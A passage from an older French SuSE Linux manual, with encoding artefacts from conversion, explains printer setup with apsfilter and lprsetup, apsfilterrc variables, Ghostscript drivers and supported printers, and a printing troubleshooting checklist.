fichier 12.3.2: apsfilter Files d'impression apsfilter dans /etc/printcap
Les trois entrΘes sont structurΘes de la mΩme maniΦre, c'est pourquoi nous
avons un peu abrΘgΘ. Vous devez dΘterminer le pΘriphΘrique (lp= ), le rΘper-
toire de spool (sd= ), le fichier de trace (log, lf= ), le fichier de comptabilitΘ
(af= ) et les filtres standard (if= ). Les pages d'en-tΩte au dΘbut des travaux
(sh ) et les sauts de page α la fin (angl. formfeed) (sf ) sont supprimΘs.
Configuration avec SETUP (lprsetup )
Le paquetage aps contient le programme de configuration SETUP (/var/
lib/apsfilter/SETUP), qu'il est facile d'invoquer avec lprsetup . Il offre
les services suivants :
342
____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________*
*______________________
~ Listage de toutes les configurations d'imprimantes apsfilter
~ Ajout et suppression de configurations d'imprimantes apsfilter .
Pour l'ajout d'imprimantes locales, lprsetup fait (presque) la mΩme chose
que YaST . lprsetup peut aussi crΘer et supprimer des files d'impression qui
se rΘfΦrent α des h⌠tes distants (angl. remote) (``files d'impression distantes'',
voir fichier 12.2.2 page 339) et mettre intelligemment en place un prΘfiltrage
pour les imprimantes rΘseau.
lprsetup est pilotΘ par menu et ~ aprΦs une courte pΘriode d'adaptation ~ il
est facile α utiliser.
1. Invoquez lprsetup :
terre: # lprsetup
Si, sous le systΦme X Window, vous avez quelques problΦmes de lec-
ture dans un xterm (mots-clΘs : texte jaune sur fond gris clair), lancez
lprsetup sur la console texte. Il apparaεt un Θcran d'accueil qui dΘcrit la
procΘdure, dΘjα mentionnΘe,_de mise en place de nouvelles imprimantes
apsfilter . Avec |E_________|ntrΘevous arrivez au menu principal :
EXIT Exit apsfilter setup
LISTING List all apsfilter entries
ENTRY Add/Overwrite/Delete an apsfilter entry
DELETE Fast delete an apsfilter entry
Le choix entre les deux_champs de rΘponse_`OK'_et `Cancel' se fait dans
tous les menus par |____Ta|b. Avec |_#|et |_"|, vous vous dΘplacez parmi les listes
de sΘlection.
`EXIT' ~ Quitter lprsetup .
`LISTING' ~ ╔tablir une liste de toutes les files d'impression dΘjα exis-
tantes.
`ENTRY' ~ Pour ajouter une nouvelle imprimante, vous utiliserez l'op-
tion `ENTRY'. Cela vous conduira α un autre menu `Choose your
printer definition' dans lequel vous dΘfinirez votre imprimante.
`DELETE' ~ Pour supprimer une imprimante apsfilter, vous sΘlectionne-
rez `DELETE' et vous obtiendrez ainsi une liste de toutes les impri-
mantes apsfilter parmi lesquelles vous pourrez faire votre choix.
2. SΘlectionnez par consΘquent `ENTRY'. Pour une imprimante locale, on
vous demandera de fournir les mΩmes dΘtails que pour la configura-
tion avec YaST . Il vous sera d'abord demandΘ quel est le pΘriphΘrique
(`DEVICE') . Pour une imprimante locale sur port parallΦle, rΘpondez
/dev/lp0 si vous utilisez le noyau 2.2.xx.
3. Vous voyez maintenant ce qui suit :
*
* 343
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
RETURN Back to previous menu
DEVICE Change printer interface
PRINTER Which printer driver
PAPER Which paper type
COLOR Monochrome/colorfull
SPECIAL Settings for your printer
RESET Reset the printer definition
ADD Add the printer definition
OVERWRITE Overwrite the printer definition
DELETE Delete the printer definition
`DEVICE' ~ Nous l'avions dΘjα sΘlectionnΘ.
`PRINTER' ~ Occupons-nous maintenant de `PRINTER' (imprimante).
C'est ici que le nom du pΘriphΘrique Ghostscript (``pilote'') adΘquat va
Ωtre recherchΘ. Ceci se dΘroule en deux phases :
(a) Choisissez maintenant le type de votre imprimante :
~ `PostScript'
~ `HEWLETT-PACKARD' (HP Deskjets)
~ `OTHER' (autres imprimantes ne gΘrant pas PostScript)
~ `FREEDEF' (dΘfinition libre).
(b) Pour les vΘritables imprimantes PostScript, vous devrez encore spΘ-
cifier la rΘsolution dans une boεte de dialogue. Pour toutes les autres
imprimantes, vous obtiendrez, sous l'option du menu `COMMIT',
la liste des pilotes Ghostscript qu'il vous est possible de choisir.
Consultez α ce sujet le paragraphe 12.6 page 349. AprΦs avoir sΘ-
lectionnΘ un pilote Ghostscript, vous verrez apparaεtre une boεte de
dialogue dans laquelle vous spΘcifierez la rΘsolution de votre impri-
mante.
~ Vous reviendrez ensuite au menu supΘrieur avec `RETURN'.
`PAPER' ~ Format du papier.
`COLOR' ~ Couleur ou monochrome
`SPECIAL' ~ En gΘnΘral, ces spΘcifications ne sont pas indispensables.
4. Vous retournerez au menu `Choose your printer definition' et si
la dΘfinition devait Ωtre erronΘe, vous pourrez sΘlectionner de nouveau les
diffΘrents sous-menus et corriger cette erreur.
5. Important : Avec `ADD', la nouvelle imprimante sera enfin configurΘe.
Recherchez dans le fichier /etc/printcap le nom de vos nouvelles files
d'impression, par exemple avec less 6 . . Chaque file d'impression apsfilter
a plusieurs noms : des noms dΘtaillΘs qui permettent de reconnaεtre les don-
nΘes de votre dΘfinition et des noms courts pour plus de commoditΘ (voir
fichier 12.3.2 page 342). Notez aussi que lp , lp-mono , ascii , raw sont les
files d'impression de la premiΦre imprimante locale,
_____________________________________________6
Il est dΘcrit comme utiliser less au paragraphe 19.7.3 page 489.
344
____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________*
*______________________
Les fichiers de configuration apsfilterrc
Les fichiers /etc/apsfilterrc* vous donnent la possibilitΘ de rΘgler de
faτon encore plus prΘcise certains dΘtails du script de commande apsfilter α
l'aide de quelques variables de shell. Lors de l'installation, il est mis en place,
de faτon standard :
~ un fichier global /etc/apsfilterrc ,
~ des fichiers /etc/apsfilterrc.<gs_mode> spΘcifiques α l'impri-
mante pour les files d'impression avec le pilote d'imprimante Ghostscript
<gs`mode> (par exemple pour l'imprimante Canon BubbleJet800 :
/etc/apsfilterrc.bjc800 ).
_______________________________________________________________________________________________________________________||
|||||||| Les versions prΘinstallΘes de ces fichiers contiennent des entrΘes exemples ||| |
|||||||| || |
|||||||| commentΘes pour toutes les variables prΘvues). Dans le fichier global || |
|||||||| /etc/apsfilterrc , la signification de chaque variable fait en outre l'ob- || |
|||||||| || |
|||||||| jet de commentaires dΘtaillΘs. Il est recommandΘ de les lire ;-) || |
||||||||_______________________________________________________________________________________________________________||_
Les variables dans les fichiers spΘcifiques aux imprimantes sont les mΩmes
que dans le fichier global /etc/apsfilterrc et pour plus de facilitΘ elles
sont numΘrotΘes de maniΦre identique. Apsfilter lit pour chacun des travaux
d'impression tout d'abord le fichier global et ensuite le fichier apsfilterrc
spΘcifique α l'imprimante : en cas de doute, ce sont les configurations conte-
nues dans le deuxiΦme qui sont utilisΘes. Vous pouvez ainsi prΘvoir les confi-
gurations normales contenues dans /etc/apsfilterrc (par exemple pour
la rΘsolution de l'imprimante) et remplacer cependant de telles valeurs stan-
dards par d'autres valeurs spΘcialement adaptΘes. Les modifications apportΘes
aux fichiers apsfilterrc deviennent immΘdiatement effectives.
Nous renonτons ici α reproduire la totalitΘ du fichier /etc/apsfilterrc
et nous nous contenterons d'ΘnumΘrer quelques variables frΘquemment utili-
sΘes :
~ FEATURE et USE_RECODE_NOT_A2PS rΦglent le filtrage des fichiers ASCII
(ainsi qu'il est dΘjα dΘcrit α la page 341).
~ REMOTE_PRINTER est utilisΘe pour le prΘfiltrage de travaux effectuΘs sur
des imprimantes rΘseau. Si elle est positionnΘe α true , les travaux de
la file d'impression concernΘe seront transfΘrΘs, aprΦs filtrage, dans une
file d'impression spΘciale remote . Si vous choisissez une autre valeur,
celle-ci sera interprΘtΘe comme Θtant le nom de l'imprimante distante.
Voir paragraphe 12.4 page suivante.
~ PRINT_RAW_SETUP_PRINTER est prΘvue pour une sΘquence d'Θchappe-
ment qui pourrait Ωtre Θventuellement nΘcessaire lors de l'initialisation
de l'imprimante pour les travaux qui se trouvent dans la file d'im-
pression raw . Son contenu est α chaque fois transmis α l'imprimante
avant l'exΘcution d'un travail d'impression raw . Un exemple ainsi que
des spΘcifications concernant la syntaxe sont contenus dans le fichier
/etc/apsfilterrc .
~ GS_RESOL permet de prΘvoir, pour le filtre Ghostscript, une autre rΘsolu-
tion que celle configurΘe α l'origine pour l'imprimante.
*
* 345
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
~ DO_ACCOUNTING doit Ωtre positionnΘe α yes si vous souhaitez crΘer un
fichier de comptabilitΘ. Vous devrez Θgalement remplacer, dans le fichier
/etc/printcap, la valeur :la : par :la@ : afin que le fichier spΘci-
fiΘ, pour af (angl. accounting file) soit pris en compte. Pour pouvoir tirer
parti de cette fonction, vous devriez utiliser plp (remplacez le paquetage
lrpold par le paquetage plpn).
Configurations spΘcifiques α l'utilisateur : La version d'apsfilter dans
SuSE Linux. supporte aussi un fichier ~/.apsfilterrc propre α l'uti-
lisateur dans son rΘpertoire personnel. Ce fichier est toujours exploitΘ
aprΦs les fichiers apsfilterrc du systΦme et peut de ce fait Θcraser leur
contenu. Pour des raisons de sΘcuritΘ ~ la lecture a lieu avec les droits
du dΘmon d'impression en cours d'exΘcution ! ~ il ne sera toutefois tenu
compte, parmi toutes les instructions contenues dans ~/.apsfilterrc,
que de celles qui fixent une nouvelle valeur pour l'une des variables sui-
vantes : TEXINPUTS , PRINT_DVI , GS_FEATURES , USE_RECODE_NOT_A2PS *
* ,
FEATURE , A2PS_OPTS , DVIPS_MODE , GS_RESOL 7 . Toutes les autres instruc-
tions seront ignorΘes.
Si vous avez besoin d'un HOME/.apsfilterrc , copiez vers celui-ci l'un des
fichiers apsfilterrc du systΦme et Θditez, en cas de besoin, la copie de ce
fichier.
12.4 Imprimantes rΘseau avec apsfilter
Une imprimante rΘseau avec son propre port rΘseau TCP/IP est considΘrΘe par
le systΦme de spool comme un h⌠te distant avec ses propres files d'impression
(Noms : voir le manuel de l'imprimante, souvent LPT1 etc.). Elle est par
consΘquent accessible via une file d'impression distante, par exemple sous
le nom remote , α partir de la machine locale.
Si toutefois vous avez besoin d'un filtrage des travaux d'impression, les
choses se compliquent quelque peu du fait que le dΘmon d'impression lpd
(paquetage lprold) n'exΘcute aucun prΘfiltrage et ignore aussi les spΘcifi-
cations concernant les filtres contenus dans le fichier /etc/printcap. Les
travaux destinΘs α cette file d'impression remote doivent donc dΘjα contenir
des donnΘes spΘcifiques α l'imprimante.
Ceci peut Ωtre obtenu en rΘalisant un prΘfiltrage au moyen de la fonction
``bypass'' de la version SuSE du programme apsfilter
La configuration effectuΘe α l'aide de YaST demande un peu de travail ma-
nuel. Vous pouvez vous faciliter les choses en donnant la prΘfΘrence au
programme lprsetup . Lancez lprsetup de la maniΦre dΘcrite au para-
graphe 12.3 page 342 et pages suivantes. Il vous sera demandΘ le nom du
pΘriphΘrique (`DEVICE') ; voir page 343) :
PARALLEL Parallel printer interface
SERIAL Serial printer interface
PREFILTER to an other queue (bypass)
REMOTE printer forwarding queue
_____________________________________________7
Voir la variable allowed dans /var/lib/apsfilter/apsfilter
346
_______________________________________________________12.5.__Quelques_prΘcisions_au_sujet_de_Ghostscript___________________*
*______________________
1. CrΘez tout d'abord avec, `REMOTE', une file d'impression qui rΘfΘrence
l'imprimante rΘseau distante : Il vous sera demandΘ quel est l'h⌠te dis-
tant (angl. remote host) auquel l'imprimante est connectΘe (dans notre
exemple : soleil) et quelle est la file d'impression distante (angl. re-
mote printer) ~ en rΦgle gΘnΘrale se sera lp mais en cas de doute consul-
tez votre administrateur rΘseau ! La question de la file d'impression dis-
tante est ainsi rΘglΘe mais n'oubliez pas de l'installer effectivement avec
`ADD' : : : L'entrΘe dans le fichier /etc/printcap est semblable, α ce
moment, α celle du fichier 12.4.1.
_______________________________________________________________________________________________________________________||
|||||||| remote|lp1|soleil-lp|soleil lp:\ |
|||||||| :lp=:\ |
|||||||| |
|||||||| :rm=soleil:\ |
|||||||| :rp=lp:\ |
|||||||| |
|||||||| :sd=/var/spool/lpd/soleil-lp:\ |
|||||||| :lf=/var/spool/lpd/soleil-lp/log:\ |
|||||||| |
|||||||| :af=/var/spool/lpd/soleil-lp/acct:\ |
|||||||| :ar:bk:mx#0:\ |
|||||||| :sh: |
||||||||_______________________________________________________________________________________________________________ |
fichier 12.4.1: /etc/printcap : Imprimantes rΘseau
2. Nous voici maintenant au ``prΘfiltrage local''. Cette fois-ci, vous rΘ-
pondrez α la question `DEVICE' en choisissant l'option `PREFILTER'
(angl. to an other queue (bypass)) . lprsetup est assez intelligent pour
proposer l'imprimante rΘseau qui vient d'Ωtre configurΘe.
remote remote=soleil queue=lp
Vous ferez le reste comme si vous deviez procΘder α la configuration
d'une imprimante locale normale. Voir page 344 et pages suivantes. Si
pour terminer vous avez sΘlectionnΘ `ADD', vous trouverez en plus de
/etc/apsfilterrc (voir fichier 12.3.2 page 342) un fichier du nom de
/etc/apsfilterrc.bjc800 ) avec l'entrΘe :
REMOTE_PRINTER="remote"
Cette entrΘe fait rΘfΘrence α l'imprimante rΘseau. S'il existe plusieurs im-
primantes rΘseau, les noms de ces autres imprimantes seront alors utilisΘs
α la place de "remote" 8 .
Voir la reprΘsentation graphique d'une telle configuration dans la figure 12.1
page suivante.
12.5 Quelques prΘcisions au sujet de Ghostscript
Si vous n'Ωtes pas prΘcisΘment l'heureux propriΘtaire d'une imprimante Post-
Script, Ghostscript sera, pour le filtre d'impression proprement dit, le choix le
plus judicieux. Ghostscript accepte l'entrΘe de fichiers PostScript et contient
un grand nombre de pilotes pour la conversion vers un format gΘrΘ par l'im-
primante.
8 ____________________________________________________
Si vous effectuez votre configuration avec YaST , vous devrez faire manuellement cette entrΘe
et veiller α bien spΘcifier /dev/null comme pΘriphΘrique.
*
* 347
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||||
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* ||
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| *
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|_______________________________________________________________________________________________________*
*________ |
Fig. 12.1: apsfilter local, l'imprimante rΘseau
Ghostscript (gs (1)) ~ dΘcrit dans la page de man de gs (man gs ) ~ est un
programme trΦs Θtendu avec de nombreuses options en ligne de commande.
Une invocation directe de Ghostscript ouvre, aprΦs l'exΘcution de la ligne de
commande, un dialogue avec des invites GS> que l'on quitte par la commande
quit . Nous ne disposons pas ici de suffisamment de place pour traiter toutes
les possibilitΘs qui existent. apsfilter se charge heureusement α votre place de
l'Θlaboration quelque peu compliquΘe de la ligne de commande.
Nous attirons toutefois votre attention sur la commande d'aide vraiment utile
tux@terre: > gs -h | less
qui liste les options les plus indispensables et ~ ce qui est essentiel ! ~ affiche
le numΘro de version et la liste actuelle des pΘriphΘriques supportΘs. Cette
liste, telle qu'elle est actuellement au moment de la mise sous presse de ce
livre, vous est prΘsentΘe au paragraphe 12.6 page ci-contre.
En cas de difficultΘs avec l'imprimante, il peut Ωtre utile de faire un test
en invoquant directement Ghostscript avec un fichier PostScript (.ps) et en
transmettant directement au pΘriphΘriques les donnΘes spΘcifiques α l'im-
primante qui ont ΘtΘ gΘnΘrΘes. Vous trouverez un bon nombre de fichiers
PostScript adΘquats, par exemple sous
/usr/share/ghostscript/<NumΘro_de_version> /examples ou /var/
lib/apsfilter/test.
348
_______________________________________________________________________12.6.__Liste_des_imprimantes_supportΘes______________*
*______________________
L'invocation de Ghostscript, par exemple pour le pilote d'imprimante intΘgrΘ
necp6 avec une rΘsolution de 360 360 et pour la sortie sur l'imprimante de
/dev/lp0, ressemble α ceci :
tux@terre: > gs -q -dNOPAUSE -dSAFER -sDEVICE=necp6 \
-r360x360 -sOutputFile=fichiertest.lpr Fichiertest.ps
tux@terre: > su
terre: # cat fichiertest.lpr > /dev/lp0
Si vous utilisez le pilote uniprint avec un fichier de paramΦtres, les com-
mandes (pour une imprimante Stylus) sont :
tux@terre: > gs @stc.upp -q -dNOPAUSE -dSAFER \
-r360x360 -sOutputFile=fichiertest.lpr fichiertest.ps quit.ps
tux@terre: > su
terre: # cat fichiertest.lpr > /dev/lp0
Tuyaux : Dans /usr/share/ghostscript/<version> /doc, vous trou-
verez une documentation trΦs utile. devices.txt par exemple contient des
indications concernant toute une sΘrie d'imprimantes rΘcentes.
Avec la page d'accueil de Ghostscript, vous pouvez vous tenir au courant
de l'Θtat actuel des choses concernant Ghostscript (versions, imprimantes
supportΘes etc.). Vous pouvez la trouver sous l'URL http://www.cs.wisc.
edu/~ghost/index.html.
12.6 Liste des imprimantes supportΘes
Outre les PostScript, HP Deskjet et Epson Stylus, Ghostscript supporte encore
un grand nombre d'autres imprimantes (rΘfΘrence : version 5.10). Le pilote
``uniprint '' que l'on peut adapter α l'aide d'un fichier de paramΦtres α l'im-
primante que l'on souhaite utiliser est une nouveautΘ depuis la version 5. Vous
pouvez Θgalement sΘlectionner ces fichiers de paramΦtres avec lprsetup et il
vous est possible, en cas de besoin, de les modifier en fonction de vos critΦrers
personnels. Ils se situent sous /usr/share/ghostscript/<VERSION>/ et
leurs noms se terminent par .upp. Il est donc recommandΘ de donner la prΘfΘ-
rence α ces fichiers de paramΦtres dans la mesure o∙ ils sont dΘjα disponibles
pour votre modΦle d'imprimante.
______________________________________________________________________________________________________________________
Canon
bjc610a0.upp BJC 610, 360x360DPI, plain paper high speed, co-
lor, rendered
bjc610a1.upp BJC 610, 360x360DPI, plain paper, color, rendered
bjc610a2.upp BJC 610, 360x360DPI, coated paper, color, rende-
red
bjc610a3.upp BJC 610, 360x360DPI, transparency film, color,
rendered
bjc610a4.upp BJC 610, 360x360DPI, back print film, color, ren-
dered
______________________________________________________________________________________________________________________
Tab. 12.1: Continuer α la page suivante...
*
* 349
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
bjc610a5.upp BJC 610, 360x360DPI, fabric sheet, color, rendered
bjc610a6.upp BJC 610, 360x360DPI, glossy paper, color, rende-
red
bjc610a7.upp BJC 610, 360x360DPI, high gloss film, color, ren-
dered
bjc610a8.upp BJC 610, 360x360DPI, high resolution paper, color,
rendered
bjc610b1.upp BJC 610, 720x720DPI, plain paper, color, rendered
bjc610b2.upp BJC 610, 720x720DPI, coated paper, color, rende-
red
bjc610b3.upp BJC 610, 720x720DPI, transparency film, color,
rendered
bjc610b4.upp BJC 610, 720x720DPI, back print film, color, ren-
dered
bjc610b6.upp BJC 610, 720x720DPI, glossy paper, color, rende-
red
bjc610b7.upp BJC 610, 720x720DPI, high gloss paper, color, ren-
dered
bjc610b8.upp BJC 610, 720x720DPI, high resolution paper, color,
rendered
Hewlett-Packard
cdj550.upp Deskjet 550c, 300x300DpI, Gamma=2
NEC
necp2x.upp Prinwriter 2X, 360x360DPI, Plain Paper
necp2x6.upp Prinwriter 2X, 360x360DPI, Plain Paper
Epson
stc.upp Stylus Color I (and PRO Series), 360x360DPI, Plain
Paper
stc`h.upp Stylus Color I (and PRO Series), 720x720DPI, Spe-
cial Paper
stc`l.upp Stylus Color I (and PRO Series), 360x360DPI, no-
Weave
stc1520h.upp Stylus Color 1520, 1440x720DPI, Inkjet Paper
stc2.upp Stylus Color II / IIs, 360x360DPI, Plain Paper
stc2`h.upp Stylus Color II, 720x720DPI, Special Paper
stc2s`h.upp Stylus Color IIs, 720x720DPI, Special Paper
stc500p.upp Stylus Color 500, 360x360DPI, not Weaved, Plain
Paper
_______________________________________________________________________________________________________*
*_________
Tab. 12.1: Continuer α la page suivante...
350
_______________________________________________________________________12.6.__Liste_des_imprimantes_supportΘes______________*
*______________________
______________________________________________________________________________________________________________________
stc500ph.upp Stylus Color 500, 720x720DPI, not Weaved, Plain
Paper
stc600ih.upp Stylus Color 600, 1440x720DPI, Inkjet Paper
stc600p.upp Stylus Color 600, 720x720DPI, Plain Paper
stc600pl.upp Stylus Color 600, 360x360DPI, Plain Paper
stc800ih.upp Stylus Color 800, 1440x720DPI, Inkjet Paper
stc800p.upp Stylus Color 800, 720x720DPI, Plain Paper
stc800pl.upp Stylus Color 800, 360x360DPI, Plain Paper
stcany.upp Any Stylus Color, 360x360DPI
______________________________________________________________________________________________________________________
Tab. 12.1: Fichiers de paramΦtres du pilote uniprint (Ghostscript 5.10)
Si vous n'avez pas trouvΘ de fichier de paramΦtres pour votre modΦle, vous
pouvez avoir recours aux ``pilotes'' du tableau 12.2 page 353 qui ont fait leurs
preuves.
______________________________________________________________________________________________________________________
Apple
appledmp Apple Dot Matrix Printer (aussi Imagewriter)
iwhi Apple Imagewriter, haute rΘsolution
iwlo Apple Imagewriter, faible rΘsolution
iwlq Apple Imagewriter, 320x216 dpi
Canon
bj10e BubbleJet 10e
bj200 BubbleJet 200
bjc600 BubbleJet 600c, 4000c (couleur)
bjc800 BubbleJet 800c (couleur)
lbp8 LBP-8II
lips3 LIPS III
DEC
declj250 LJ 250
la50 LA50
la70 LA70
la75 LA75
la75plus LA75 Plus
lj250 LJ250
ln03 LN03
______________________________________________________________________________________________________________________
Tab. 12.2: Continuer α la page suivante...
*
* 351
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
Epson
ap3250 AP3250
eps9high Compatible FX-80, 240 dpi
eps9mid Compatible FX-80, 120 dpi
epson Imprimante α 9 ou 24 aiguilles compatible FX-80
epsonc LQ-2550, Fujitsu 1200/2400/3400, impression cou-
leur
lp8000 LP-8000, imprimante laser
lq850 LQ-850, imprimante α 24 aiguilles, 360dpi
st800 Stylus 800, Epson ESC/P2
stcolor Stylus Color
Hewlett-
Packard
cdeskjet DeskJet 500C, impression en noir
cdj500 DeskJet 500C, 540C
cdj550 DeskJet 550C, 560C
cdj670 DeskJet 670C, 690C
cdj850 DeskJet 850C, 855C, 870C, 1100C
cdj890 DeskJet 890C
cdj1600 DeskJet 1600C
cdjcolor DeskJet 500C, impression couleur
cdjmono DeskJet 500C, impression en noir
deskjet DeskJet, DeskJet Plus
djet500 DeskJet 500
djet500c DeskJet 500c
djet820c DeskJet 820Cse et 820Cxi ; Θventuellement aussi les
modΦles 1000
dnj650c DesignJet 650C
hpdj DeskJet avec support PCL-3 (impression couleur et
monochrome)
Documentation Ghostscript : hpdj/gs-hpdj.txt
laserjet LaserJet
ljet2p LaserJet IIp
ljet3 LaserJet III
ljet3d LaserJet IIID
ljet4 LaserJet IV
ljetplus LaserJet Plus
lj4dith LaserJet IV, rastΘrisΘe
lj5mono LaserJet 5 & 6 (PCL XL), Bitmap
lj5gray LaserJet 5 & 6, Bitmap monochrome
lp2563 2563B LinePrinter
paintjet PaintJet impression couleur
_______________________________________________________________________________________________________*
*_________
Tab. 12.2: Continuer α la page suivante...
352
_______________________________________________________________________12.6.__Liste_des_imprimantes_supportΘes______________*
*______________________
______________________________________________________________________________________________________________________
pj PaintJet XL, Alternative
pjetxl PaintJet 300XL
pjxl PaintJet 300XL
pjxl300 PaintJet 300XL, DeskJet 1200C
IBM
ibmpro Proprinter, 9 aiguilles
jetp3852 Jetprinter 3852
OKI
oki182 MicroLine 182
okiibm MicroLine, compatible IBM
Tektronix
t4693d2 4693d, impression couleur
t4693d4 4693d, impression couleur
t4693d8 4693d, impression couleur
tek4696 4695/4696
Autres
hl7x0 Brother 720, 730, 820
imagen Imagen ImPress
m8510 C.Itoh M8510
necp6 NEC P6, P6+, P60 bei 360 dpi
oce9050 OCE 9050
r4081 Ricoh 4081, imprimante laser
sj48 StarJet 48
cp50 Mitsubishi CP50, imprimante couleur
xes Xerox XES (2700, 3700, 4045)
______________________________________________________________________________________________________________________
Tab. 12.2: Imprimantes supportΘes (Ghostscript 5.10)
Bien entendu, toutes les imprimantes compatibles HP Laserjet 4 ainsi que
d'autres imprimantes PostScript sont directement supportΘes.
Lors de l'installation de apsfilter ou lors de la configuration avec YaST , la
dΘnomination de l'imprimante qui se trouve dans la colonne de gauche doit
Ωtre indiquΘe (par exemple djet500 ).
Si l'imprimante que vous utilisez n'est pas supportΘe, cela ne signifie pas
que vous ne pouvez pas utiliser apsfilter . Dans ce cas, vous devez choi-
sir une imprimante si possible similaire α la v⌠tre : trΦs souvent le pilote
convient aussi pour un modΦle prΘcΘdent encore assez rΘcent. Vous pouvez
*
* 353
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
en outre obtenir une aide pour le choix du pilote dans la base de donnΘes
CDB (angl. Component Database) , dans la base de donnΘes du matΘriel de
SuSE : http://cdb.suse.de/
________________________________________________________________________________________________________*
*________|||||
| Il existe sur le marchΘ de trΦs nombreuses imprimantes qui portent la men- *
* ||||
| *
* |||
| tion ``for Windows''. Il arrive aussi frΘquemment de voir une autre dΘno- *
* |||
| *
* |||
| mination qui est ``imprimante GDI''. De telles imprimantes peuvent, en cas *
* |||
| de chance, Ωtre utilisables sous Linux avec un certain nombre de restric- *
* |||
| *
* |||
| tions. Mais trΦs souvent elles ne sont pas du tout utilisables. Consultez *
* |||
| la CDB sous http://cdb.suse.de/ ou renseignez-vous auprΦs de votre *
* |||
| *
* |||
| revendeur ! *
* |||
| *
* |||
| Il existe, spΘcialement pour de telles imprimantes HP DeskJet, un conver- *
* |||
| tisseur logiciel qui permet de rΘaliser des impressions en noir et blanc (pa- *
* |||
| *
* |||
| quetage ppa, sΘrie ap). Pour l'installation, lisez la documentation sous *
* |||
| usr/doc/packages/ppa ou l'article http://sdb.suse.de/sdb/en/ *
* |||
| *
* |||
| html/ke_printer-gdi.html dans la SDB. Le paquetage pbm2l7k, sΘ- *
* |||
| rie ap est prΘvu pour les imprimantes Lexmark (modΦles 5700, 7000 et *
* |||
| *
* |||
| 7200). La documentation se trouve sous /usr/doc/packages/pbm2l7k. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Une erreur trΦs frΘquente est le choix d'une rΘsolution incompatible. Si ce
cas se produit, la rΘsolution correcte (c'est-α-dire le nombre de points par
pouce (angl. dpi=dots per inch) que maεtrise l'imprimante) peut Ωtre in-
sΘrΘe dans la variable GS_RESOL dans /etc/apsfilterrc (par exemple
GS_RESOL=360x360 . Quelques entrΘes ~ placΘes en commentaire ~ y sont
dΘjα incluses).
12.7 Liste de contr⌠le pour l'impression : apsfilter
~ Le paquetage aps, sΘrie ap pour apsfilter est-il installΘ ?
~ apsfilter a-t-il ΘtΘ configurΘ avec YaST ou /var/lib/apsfilter/
SETUP (lprsetup ) ?
~ Les paquetage net_tool, paquetage netcfg, paquetage nkita, paque-
tage nkitb (tous de la sΘrie a) sont-ils installΘs ? Le paquetage lprold
de la sΘrie n est-il installΘ ?
~ Le noyau a-t-il un support pour TCP/IP ? IndiquΘ par le message "IP
Protocols : ICMP, UDP, TCP" dans /var/log/boot.msg.
~ Le support pour les ports parallΦles est-il actif ?
~ si le module lp est effectivement chargΘ. Avec le noyau 2.2.xx, les
modules parport et parport_pc doivent aussi Ωtre chargΘs (voir pa-
ragraphe 10.4.3 page 307).
~ Il se peut que vous ayez un BIOS ``Plug-and-Play'' et que votre inter-
face soit configurΘe, dans le BIOS de la machine, sur auto . Assignez
explicitement une adresse α l'interface (la valeur standard est 0x0378
ou simplement 378 ).
~ Au cas o∙ l'imprimante ne ferait que ``clignoter'', il est possible que
l'interface soit configurΘe sur ECP+EPP dans le BIOS, ce qui n'est
354
____________________________________________________12.7.__Liste_de_contr⌠le_pour_l'impression_:_apsfilter____________________*
*____________________
d'aucune utilitΘ pour l'imprimante. Dans un tel cas, choisissez soit
l'option normal , soit l'option SPP ou encore l'option ECP .
~ Si l'imprimante ne supporte pas la rΘsolution standard 300 300 dpi : La
rΘsolution adΘquate selon le manuel de l'imprimante a-t-elle ΘtΘ configu-
rΘe avec YaST ou dans le fichier /etc/apsfilterrc ?
~ Que dit lpc status ?
~ Faites un essai avec lpc up all .
~ La file d'impression raw devrait du moins fonctionner pour chaque im-
primante et permettre au minimum la sortie de fichiers ASCII. Une ex-
ception est constituΘe par les ``imprimantes GDI'' (voir plus haut la page
prΘcΘdente).
~ Si votre imprimante fournit des impressions dans le sens horizontal (en
mode landscape) et si vous ne le souhaitez pas, lisez la page 341.
~ Si vous utiliser l'option -P pour lancer lpr , vous ne devez laisser aucun
espace devant le nom de l'imprimante.
~ Si vous pouvez sortir sur l'imprimante des textes ASCII via la file d'im-
pression ``raw'' (-Praw ), essayez maintenant d'imprimer un fichier Post-
Script rΘgulier avec lpr . Vous pouvez soit gΘnΘrer un tel fichier PostScript
et l'imprimer :
tux@terre: > a2ps -nP -1 -p /etc/hosts > /var/tmp/hosts.ps
tux@terre: > lpr /var/tmp/hosts.ps
soit utiliser un fichier fourni avec Ghostscript :
tux@terre: > lpr /usr/share/ghostscript/5.10/examples/tiger.ps
~ Contr⌠lez les fichiers log sous /var/spool/lpd/NOM_DU_PILOTE.
Vous devez bien s√r remplacer NOM_DU_PILOTE par le pilote que vous
avez choisi.
~ Utilisez-vous l'interface d'imprimante qui convient (voir paragraphe 12.1
page 333).
~ Le noyau ne doit contenir aucun pilote PLIP (/var/log/boot.msg) !
*
* 355
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
356
SixiΦme partie
Le noyau et les paramΦtres
du noyau
3*
*57
Chapitre 13
Le noyau
Le noyau qui, au cours de l'installation, est peut-Ωtre Θcrit sur la disquette ~ et
que l'on trouve aussi dans le rΘpertoire boot du systΦme installΘ ~ est confi-
gurΘ de maniΦre α supporter une gamme trΦs Θtendue de matΘriel. Ce noyau
n'est donc pas construit spΘcialement pour votre systΦme. Mais si vous avez
fait le bon choix lors de l'installation ou de la mise α jour, vous avez un noyau
tout spΘcialement optimisΘ pour votre processeur. C'est pourquoi il n'est pas
absolument indispensable de gΘnΘrer votre propre noyau. Si vous dΘsirez tou-
tefois essayer certaines fonctionnalitΘs ou pilotes ``au stade expΘrimental'', il
peut s'avΘrer nΘcessaire de ``construire vous-mΩme'' un noyau. Et il ne faut
pas non plus nΘgliger le fait que la configuration du noyau donne une vue
extrΩmement intΘressante de l'Θtat actuel du dΘveloppement.
Pour la crΘation d'un nouveau noyau, il existe dΘjα pour le compilateur C des
